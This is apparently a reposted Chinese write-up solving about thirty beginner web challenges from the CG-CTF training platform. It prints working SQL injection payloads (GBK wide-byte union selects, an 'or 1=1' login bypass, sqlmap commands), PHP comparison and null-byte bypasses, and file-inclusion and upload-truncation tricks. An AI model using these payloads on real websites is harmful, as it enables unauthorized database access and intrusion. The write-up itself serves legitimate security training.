mysql 南邮ctf_南邮ctf之web之wp
下面是所有現(xiàn)在可以做的web題的wp!
建議使用CTRL+F查找所需題目,我都有標注!這樣方便!
1、簽到題
直接查看源碼即可
2、md5 collision
解讀代碼:
$md51 = md5('QNKCDZO');$a = @$_GET['a'];$md52 = @md5($a);if(isset($a)){if ($a != 'QNKCDZO' && $md51 == $md52) {echo "nctf{*****************}";
}else{echo "false!!!";
}}else{echo "please input a";}
經(jīng)典的md5加密題:個人感覺這題考的就是兩個等于號,雙等于號漏洞,也就是可以通過0e,科學(xué)計數(shù)法繞過的!所以只要前面是0e開頭的md5加密的也就基本可以了,也不需要找,這個百度一大堆的!
md5('s878926199a')=0e545993274517709034328855841020
md5('s155964671a')=0e342768416822451524974117254469
找了兩個,隨意選一個就行了!還有很多可以自己收藏!
3、簽到題2
打開題目地址是這樣的!
像這種類型的一般就是輸入框長度被限制了,所以直接右鍵點擊檢查,改一下就行了!
其實11也就行了,這樣的題就這樣的套路,比較簡單!再遇到一些做sql注入啥的被限制了長度都可以這樣改!
4、這題不是WEB
點開題目地址發(fā)現(xiàn)是一張圖片!
這樣的題,首先先看一下源碼,或者檢查一下F12看里面是否存在,若不存在那應(yīng)該再圖里面了!下載圖片,拉進HEXEdit里面查看,再最后發(fā)現(xiàn)flag!是個圖片隱寫了!
5、層層遞進
點開題目地址是這樣的!
還是直接點擊查看源碼,和右擊檢查,都是老套路,也就不多說了!
再檢查源碼的時候發(fā)現(xiàn):一個SO.html點擊去查看~!~
然后發(fā)現(xiàn)有個404.html!
再點擊去看:
點擊檢查:發(fā)現(xiàn)flag
6、AAencode
很不幸,這個不能做了,原來還可以,應(yīng)該是幫aaencode.txt文件給刪除了吧,就說說這樣的解碼吧,這個解碼也就是一些符號組成的,一般只要放在控制臺里面就可以了!
如果不行再找一下解碼的平臺啥的!
7、單身二十年
有點意思,看看題目:
看題么應(yīng)該是個閃圖啥的!或者快速跳轉(zhuǎn)啥的,這種的用burp就比較簡單了!進題目地址看看!
是個跳轉(zhuǎn)頁面,不要怕我們有神器==burp==
直接出來,burp不會的那自己去百度一下吧!各種騷姿勢!
8、php decode
看代碼吧:
}return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==")); //eval可以解析php代碼,所以此題只需要幫eval改為輸出就行了,echo、print,這樣
$ZzvSWE也就被賦值了所echo的值!
?>
一看代碼,發(fā)現(xiàn)這是個加解密的題目呀!
代碼解析在上面,這個開啟我的study,代碼運行起來才能發(fā)現(xiàn)問題!
9、文件包含
文件包含,那就涉及到了偽協(xié)議,所以還是先做題!
這里使用一個php://filter/read/convert.base64-encode/resource=xxx.php,轉(zhuǎn)為base64這樣就能得到源碼了!
再解碼也就得到了源碼:https://base64.supfree.net/?解碼地址、也可以自己用base64-decode(.......)來解碼!
解碼發(fā)現(xiàn)flag!
既然可以偽協(xié)議我再看看能否用一句話連接接!
發(fā)現(xiàn)想多了,哈哈哈!
做題要聯(lián)想,這樣才能加強自己的實力,雖然我還是個小白,小菜雞,我會努力的,加油!
10、單身一百年也沒用(這題目有點狠,單身一百年,一輩子光棍唄,哈哈哈)
題目地址點開發(fā)現(xiàn)還是跳轉(zhuǎn),不多說,上神器burp!
11、Download~!
這題不能做唉!
12、COOKIE(題目提示COOKIE就是甜餅的意思~TIP: 0==not)
這種有COOKIE的還是直接抓包看比較舒服!上burp!
發(fā)現(xiàn)有個Login=0,根據(jù)題目意思,0一般是假或者空,改為1,試試!
13、MYSQL
robots.txt?這個文件一般只要是個網(wǎng)站都會有的,相當于加載一些網(wǎng)站的一些xxx.php等文件名啥的!
代碼吧:
一般sql注入我都直接sqlmap跑了,這個手注一波吧,講解原理!
1、主要看一個函數(shù)intval()?函數(shù)用于獲取變量的整數(shù)值。(這題的關(guān)鍵點)
2、再看if語句,這個需要id=1024就輸出 no!try again,否則輸出查詢語句,應(yīng)該是出flag的!
echo intval(4.2); //4
echo intval('42'); //42
echo intval('+42'); //42
echo intval('-42'); //-42
echo intval(042); //34
echo intval('042'); //42
echo intval(1e10); //1410065408
echo intval('1e10'); //1
echo intval(0x1A); //26
echo intval(42000000); //42000000
echo intval(420000000000000000000); //0
echo intval('420000000000000000000'); //2147483647
echo intval(42, 8); //42
echo intval('42', 8); //34
echo intval(array()); //0
echo intval(array('foo', 'bar')); //1
?>
所以直接構(gòu)造payload,利用小數(shù)繞過if!
14、GBK Injection
寬字節(jié)注入發(fā)生的位置就是PHP發(fā)送請求到MYSQL時字符集使用character_set_client設(shè)置值進行了一次編碼。在使用PHP連接MySQL的時候,當設(shè)置“character_set_client = gbk”時會導(dǎo)致一個編碼轉(zhuǎn)換的問題,也就是我們熟悉的寬字節(jié)注入
寬字節(jié)注入原理即是利用編碼轉(zhuǎn)換,將服務(wù)器端強制添加的本來用于轉(zhuǎn)義的\符號吃掉,從而能使攻擊者輸入的引號起到閉合作用,以至于可以進行SQL注入。
這里的寬字節(jié)注入是利用mysql的一個特性,mysql在使用GBK編碼(GBK就是常說的寬字節(jié)之一,實際上只有兩字節(jié))的時候,會認為兩個字符是一個漢字(前一個ascii碼要大于128,才到漢字的范圍),而當我們輸入有單引號時會自動加入\進行轉(zhuǎn)義而變?yōu)閈’(在PHP配置文件中magic_quotes_gpc=On的情況下或者使用addslashes函數(shù),icov函數(shù),mysql_real_escape_string函數(shù)、mysql_escape_string函數(shù)等,提交的參數(shù)中如果帶有單引號’,就會被自動轉(zhuǎn)義\’,使得多數(shù)注入攻擊無效),由于寬字節(jié)帶來的安全問題主要是吃ASCII字符(一字節(jié))的現(xiàn)象,將后面的一個字節(jié)與前一個大于128的ascii碼進行組合成為一個完整的字符(mysql判斷一個字符是不是漢字,首先兩個字符時一個漢字,另外根據(jù)gbk編碼,第一個字節(jié)ascii碼大于128,基本上就可以了),此時’前的\就被吃了,我們就可以使用’了,利用這個特性從而可實施SQL注入的利用。
最常使用的寬字節(jié)注入是利用%df,其實我們只要第一個ascii碼大于128就可以了,比如ascii碼為129的就可以,但是我們怎么將他轉(zhuǎn)換為URL編碼呢,其實很簡單,我們先將129(十進制)轉(zhuǎn)換為十六進制,為0x81,如圖1所示,然后在十六進制前面加%即可,即為%81,任意進制在線轉(zhuǎn)換網(wǎng)站請點擊此處!另外可以直接記住GBK首字節(jié)對應(yīng)0×81-0xFE,尾字節(jié)對應(yīng)0×40-0xFE(除0×7F),則尾字節(jié)會被吃點,如轉(zhuǎn)義符號\對應(yīng)的編碼0×5C!另外簡單提一下,GB2312是被GBK兼容的,它的高位范圍是0xA1-0xF7,低位范圍是0xA1-0xFE(0x5C不在該范圍內(nèi)),因此不能使用編碼吃掉%5c。
原文鏈接:https://blog.csdn.net/william_munch/article/details/100037244
這位博主說的原理挺好的,所以我就轉(zhuǎn)載使用一下了!
所以再寫數(shù)據(jù)庫時還是最好使用utf-8比較安全的!
使用%df和'就會轉(zhuǎn)義為?運 這樣就繞過一些安全函數(shù)了!下面是payload,所以我也不再截圖了!
payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()--+
回顯:sae-chinalover
payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+
回顯:ctf,ctf2,ctf3,ctf4,gbksqli,news
應(yīng)該是這個gbksqli這個表!!!
payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x67626B73716C69--+
回顯:flag
payload:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,flag from gbksqli--+
回顯:nctf{gbk_3sqli}
這里的#過濾了所以使用的是--+
15、/x00
看代碼吧:
view-source:
if (isset ($_GET['nctf'])) {if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) //ereg()函數(shù)用指定的模式搜索一個字符串中指定的字符串,如果匹配成功返回true,否則,則返回false。搜索字母的字符是大小寫敏感的。echo '必須輸入數(shù)字才行';else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE) //strpos() 函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置。strpos() 函數(shù)對大小寫敏感。
die('Flag: '.$flag);else
echo '騷年,繼續(xù)努力吧啊~';
}
解析代碼:
1、判斷是否傳入nctf
2、利用ereg函數(shù)繞過正則 (ereg函數(shù)一個漏洞,類似于0x00截斷,都是因為這些函數(shù)遇到ASCII碼為0的字符時,會自動默認到了結(jié)尾而停止)
3、繞過strpos函數(shù)
所以第一種方法出來了!
可以使用%00截斷的這種
#需要改為%23,url編碼問題,不改出不來!
第二種,因為ereg函數(shù)對數(shù)組只返回null!所以第二種也就出來了!
因為又做了強制判斷 === 所以也就是false了
strpos函數(shù)也不解析數(shù)組,所以也返還null
16、bypass again
看源碼:
if (isset($_GET['a']) and isset($_GET['b'])) {if ($_GET['a'] != $_GET['b'])if (md5($_GET['a']) == md5($_GET['b'])) //主要還是這個雙等于漏洞die('Flag: '.$flag);else
print 'Wrong.';
}
這題思路點:
1、需要輸入a和b
2、a和b不能相等
3、md5值又需要相等,才輸出flag!
這題解題點,是這個雙等于,都知道雙等于可以利用科學(xué)計數(shù)法繞過,就是0e開頭的!所以只要找兩個0e開頭的md5值就行了,上面有題就是的,就不多說了!
md5('s878926199a')=0e545993274517709034328855841020
md5('s155964671a')=0e342768416822451524974117254469
直接截圖吧:
17、變量覆蓋
參看所給源碼:
考點:
1、extract函數(shù)
2、讓$pass?==?$thepassword_123,這就利用到上面的函數(shù)extract()
讓$pass、$thepassword_123賦值相同值就行了
如下:
18、PHP是世界上最好的語言
做不了!
19、偽裝者
由題所知:需要修改本地也就是127.0.0.1,打開burp吧!
要么是X-Forwarded-For代理服務(wù),或者是client-ip真實ip地址!
20、header
這個也做不了!
21、上傳繞過
文件上傳,還是用burp抓包、改包、發(fā)送!
選擇比較小點的圖片,最好不要超過1M的越小越好!最好是png的,文件內(nèi)容不容易損壞!
上傳發(fā)現(xiàn)需要后綴為php的,所以考慮用%00截斷試試!
%00截斷是文件后綴名就一個%00字節(jié),可以截斷某些函數(shù)對文件名的判斷,在許多語言函數(shù)中,處理字符串的函數(shù)中0x00被認為是終止符,相當于sql注入中的#!
上傳函數(shù)處理1.php%00.jpg時,后綴名是合法的jpg、png、gif格式,可以上傳,在保存文件時,遇到%00字符,后面的jpg就不要了,文件后綴最終保存的后綴名為1.php
發(fā)現(xiàn)回顯支持gif、png、jpeg!所以嘗試用目錄截斷!
發(fā)現(xiàn)還是不行,應(yīng)該是截斷出現(xiàn)問題了,在去修改一下hex里面的,
文件上傳建議去做? upload-labs? 百度上都有
22、SQL注入1
點擊source查看源碼!
<?phpif ($_POST[user] && $_POST[pass]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$user = trim($_POST[user]); //trim() 函數(shù)移除字符串兩側(cè)的空白字符或其他預(yù)定義字符!就是去空格!$pass = md5(trim($_POST[pass])); //被md5加密,所有這個只能在用戶做手腳了!$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; //后面的pw用%23給注釋,主要構(gòu)造前面的!echo ''.$sql;$query = mysql_fetch_array(mysql_query($sql));if($query[user]=="admin") { //只有user等于admin才給flag!echo "
Logged in! flag:********************
";}if($query[user] != "admin") {echo("
You are not admin!
");}
}echo $query[user];?>
Source
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
首先我們先看這個,看如何繞過,可以自己弄個記事本什么的自己來嘗試一下,最好是在命令行中,在mysql中!
$sql="select user from ctf where (user='admin' or 1=1)%23 (后面的都不要了,被注釋了)') and (pw='".$pass."')";
看這樣就簡單的閉合了,所有不要拿到題目就直接上手,先看sql語句,再看過濾機制,代碼審計就這樣的,看懂代碼才是最重要的!直接去看一下行不行!
下面再嘗試一下sqlmap跑一下!(使用kali中自帶的,本機的卸載了)
因為是post傳參,所有用burp抓包一下!
保存為1.txt,再用SQLmap跑!
payload:sqlmap -r 1.txt --dbs
payload:sqlmap -r 1.txt --tables -D sae-chinalover
下面的我也就不跑了,這里面有個是gbksqli的還有的是其他的!自己可以嘗試玩玩!
這個是這一題的!
23、pass check
參看所給源碼:
$pass=@$_POST['pass']; //post傳參$pass1=***********;//被隱藏起來的密碼
if(isset($pass)) //判斷是否有pass參數(shù)傳入
{if(@!strcmp($pass,$pass1)){ //比較兩個字符串,也就是讓post傳進去的參數(shù)和pass1進行比較,要讓這個成立也就輸出flag了!echo "flag:nctf{*}";
}else{echo "the pass is wrong!";
}
}else{echo "please input pass!";
}?>
strcmp() 函數(shù)比較兩個字符串。
注釋:strcmp() 函數(shù)是二進制安全的,且對大小寫敏感。
如果?str1?(第一個字符串)小于?str2(第二個字符串)?返回 < 0; 如果?str1?大于?str2?返回 > 0;如果兩者相等,返回 0。
沒思路,去找了strcmp漏洞!終于發(fā)現(xiàn),這個函數(shù),如果傳入數(shù)組,那他會返回0,
要求傳入字符串。如果傳入非字符串呢?
結(jié)果函數(shù)報錯!但是函數(shù)返回“0”? 。?雖然報錯了但函數(shù)的判斷卻是“相等”
如何傳入非字符串?答案是傳入數(shù)組
將變量的結(jié)尾加上“[ ]”? 將其構(gòu)造為數(shù)組。
嘗試一下:成功!
又學(xué)習(xí)了!又找到一些圖,看這些圖我基本沒懂,應(yīng)該我是菜雞吧!
如果哪位大佬刷到了,可以方便給我留個思路唄,感謝!
24、起個名字真難
參看所給源碼:
{$one = ord('1');$nine = ord('9');for ($i = 0; $i < strlen($number); $i++) //循環(huán)傳入的number
{$digit = ord($number{$i}); //進行循環(huán)過后的值if ( ($digit >= $one) && ($digit <= $nine) ) //如果 $digit>1或者小于9就false!
{return false;
}
}return $number == '54975581388';
}$flag='*******';if(noother_says_correct($_GET['key'])) //必須輸入key=54975581388就輸出flag!
echo $flag;else echo 'access denied';?>
要點就是要key=54975581388,輸出flag!又被過濾數(shù)字,所有這個點我只有用16進制來進行繞過!
提交:(需要加0xccccccccc)因為是16進制!
25、密碼重置
點進去發(fā)現(xiàn)用戶名怎么都改不了的!
所以點擊右鍵,點擊檢查:
根據(jù)題目改為admin
點擊重置:flag出來
26、php 反序列化(暫時無法做)
參看所給源碼:
}if (isset($_GET['pass'])) {$pass = $_GET['pass'];if(get_magic_quotes_gpc()){$pass=stripslashes($pass);
}$o = unserialize($pass);if ($o) {$o->secret = "*";if ($o->secret === $o->enter)echo "Congratulation! Here is my secret: ".$o->secret;else
echo "Oh no... You can't fool me";
}else echo "are you trolling?";?>
進行序列話:(解釋我都寫再里面了,注釋方就是)
進行驗證,看看序列話出來的值
最后驗證:
知識點:
主要說的是面向?qū)ο?#xff0c;涉及到了魔法函數(shù)__construct(),和為變量$this,面向?qū)ο笪也┛褪醉撚悬c知識點,可以自己看一下,不好的地方請指出,感謝!
27、SQL注入2
<?phpif ($_POST[user] && $_POST[pass]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$user = $_POST[user]; //post傳參$pass = md5($_POST[pass]); //md5加密$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); //sql語句! 存儲結(jié)果集if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { //strcasecm比較兩個字符串(不區(qū)分大小寫):echo "
Logged in! Key: ntcf{**************}
";}else{echo("
Log in failure!
");}
}?>
Source
如果變量存在,并且,$pass與$query[pw]相等(不區(qū)分大小寫)
$query[pw]) && (!strcasecmp($pass, $query[pw])
這個成立才輸出flag。
這個主要是傳進去的user用戶里面的密碼pass和md5加密的pass比較,所有需要繞過這個md5加密。
先看sql語句:
("select pw from ctf where user='$user'")
直接構(gòu)造一下payload吧,利用union select聯(lián)合查詢:
pass=1對應(yīng)的是md5(1)!只要md5()里面的數(shù)和pass所等于的對上就可以了
28、綜合題2
29、密碼重置2
看題目提示:
根據(jù)第一點找到管理員郵箱!
根據(jù)第二點vim的備份文件,先了解vim的備份文件!
看一些博客寫的感覺太麻煩了,直白的理解就是再編輯vim文件時,或生成一個.xxx.swp的文件。
vim中的swp即swap文件,在編輯文件時產(chǎn)生,它是隱藏文件,如果原文件名是submit,則它的臨時文件
就是.submit.swp!
所以這里的臨時文件應(yīng)該時..submit.php.swp
看截圖中所框的,需要$token字段等于10,并且都為0!
所以這題出來了,結(jié)合上面的管理員郵箱地址!
30、file_get_contents
查看源碼,因為一進去發(fā)現(xiàn)是空白頁面,不是404,說明應(yīng)該還是有東西的!
看到這個file_get_contents()函數(shù),這個是post傳參的,一般會結(jié)合偽協(xié)議一起使用,例如:file_get_contents("php://input")截取post傳進來的參數(shù)值!
所以這一題應(yīng)該就是利用偽協(xié)議中的php://input了!
出來了!
31、變量覆蓋
還是代碼審計題:
主要說的是兩個$$符號,因為$$key= $value,當$value = name時, (就是給get傳入?yún)?shù))$$key = name 即$name =??meizijiu233!
所以就出來了!
變量覆蓋,我們遇到兩個了,一個是extract()函數(shù),一個是現(xiàn)在這個雙$$符號,還有兩個分別為parse_str()函數(shù)、import_request_variables()函數(shù),感興趣可以自己去找找度娘!
結(jié)束!下面三題不能做了!所以CG-ctf之web結(jié)束,下期做攻防世界里面的!南郵這個算是入門,題目是前面難后面慢慢加大難度,
攻防世界過段時間繼續(xù)更新!
總結(jié)
以上是生活随笔為你收集整理的mysql 南邮ctf_南邮ctf之web之wp的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 风格迁移应用_PyTorch实战图形风格
- 下一篇: CG CTF 南邮CTF SQL注入2